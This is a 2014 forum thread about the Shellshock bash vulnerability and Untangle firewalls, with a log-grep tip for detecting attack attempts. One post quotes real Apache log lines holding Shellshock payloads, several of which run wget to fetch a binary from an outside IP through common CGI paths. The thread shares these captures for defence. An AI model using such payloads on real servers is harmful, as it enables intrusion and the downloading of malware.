CVE-2014-6271 GNU Bash Vulnerable

[WebFooL]

First dose it effect Untangle?
http://cve.mitre.org/cgi-bin/cvename...=CVE-2014-6271

List mod_cgid as effected and it looks like it is enabled on Untangle. (10.x)

apache2ctl -M
Loaded Modules:
core_module (static)
log_config_module (static)
logio_module (static)
mpm_worker_module (static)
http_module (static)
so_module (static)
alias_module (shared)
auth_basic_module (shared)
authn_file_module (shared)
authz_default_module (shared)
authz_groupfile_module (shared)
authz_host_module (shared)
authz_user_module (shared)
cgid_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
jk_module (shared)
mime_module (shared)
negotiation_module (shared)
python_module (shared)
reqtimeout_module (shared)
setenvif_module (shared)
ssl_module (shared)
status_module (shared)


Bash version:
bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
Copyright © 2009 Free Software Foundation, Inc.
Licens GPLv3+: GNU GPL version 3 eller senare <http://gnu.org/licenses/gpl.html>


So how do we resolve it? (If needed)

[sky-knight]

I should have done better with my thread title.

http://forums.untangle.com/networkin...ts-debian.html

I'm curious as well, I'm more worried about the 9.x installs out there. I really hope Debian back ports the fix back the lenny! If not, this may well be the best push ever to upgrade. Though, I would have liked the timing to have been after the 11 release. Upgrading manually one OS just to automagic another doesn't seem like a good time.

[WebFooL]

I spotted your thread after posting sry...

I have no 9.0 installations left to "test" on..
But yes Untangle need to get a public response out as they did with Heartbleed rather quick.

[rbngan]

So is ver 10 vulnerable? The other thread said it is NOT because CGI is not used. But if you see CGI is enabled what does that mean? The other tread also said they were not going to do an update until Ver. 11 is released. Does that mean we will remain vulnerable? What can be done to prevent attacks or access to bash?

[jcoffin]

This should answer your questions.

https://support.untangle.com/hc/en-u...ts-vulnerable-

[rbngan]

Thanks, that helped. I have another questions about this. Since the "Firewall does not expose Bash in any way that could be exploited" we are safe, but if I turn on the SSH for support does this then expose the box to bug while SSH access is turned on? And are they any other setting that if turned on will expose the box to this bug?

[sky-knight]

It's only exposed in the sense that support could exploit your box. Which given they have root access, they don't really need an exploit to nuke your machine.

[sky-knight]

zgrep '() {' /var/log/apache2/*

Run that to take a peek at the apache logs on a web server to see if you've been shell shocked.

My old VM, lenny based web server I ran intouchtechllc.com on for ages, had this:

209.126.230.72 - - [24/Sep/2014:17:31:52 -0700] "GET / HTTP/1.0" 301 237 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

The original scan testing the Internet for vulnerable machines.

Then... today I see this on the shiny new Wheezy based replacement VM that hasn't been online for 24 hours:

194.54.9.11 - - [28/Sep/2014:19:07:14 -0700] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.1" 301 525 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:07:34 -0700] "GET /var/www/html/admin.cgi HTTP/1.1" 301 543 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:07:54 -0700] "GET /tmUnblock.cgi HTTP/1.1" 301 499 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:08:14 -0700] "GET /var/www/cgi-bin/test-cgi HTTP/1.1" 301 521 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:08:34 -0700] "GET /cgi-bin/hello HTTP/1.1" 301 499 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:08:54 -0700] "GET /cgi-sys/entropysearch.cgi HTTP/1.1" 301 523 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:09:14 -0700] "GET /cgi-mod/index.cgi HTTP/1.1" 301 507 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:09:34 -0700] "GET /cgi-bin/test.cgi HTTP/1.1" 301 505 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
194.54.9.11 - - [28/Sep/2014:19:09:54 -0700] "GET /cgi-bin-sdb/printenv HTTP/1.1" 301 513 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""

So if I hadn't replaced my web server already, I might have lost it already. I didn't have mod_cgi enabled, so it would have likely been ok. But still, patch your stuff where possible people! It's in the wild!

Oh, and for the curious I ran that against my UT, nothing.

Not the only vector either...

P.S. The command can be used for nginx logs too.

[fasttech]

https://isc.sans.edu/diary/Shellshoc...the+wild/18725